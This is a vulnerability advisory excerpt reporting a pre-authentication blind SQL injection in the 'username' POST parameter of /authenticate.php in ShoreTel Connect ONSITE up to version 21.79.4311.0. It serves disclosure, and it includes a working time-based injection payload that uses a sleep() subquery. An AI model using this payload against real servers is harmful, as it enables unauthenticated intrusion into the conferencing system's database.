Vulnerability overview/description:
- -----------------------------------
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable
to a Blind SQL Injection in /authenticate.php, on the webserver that
is running the
Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.
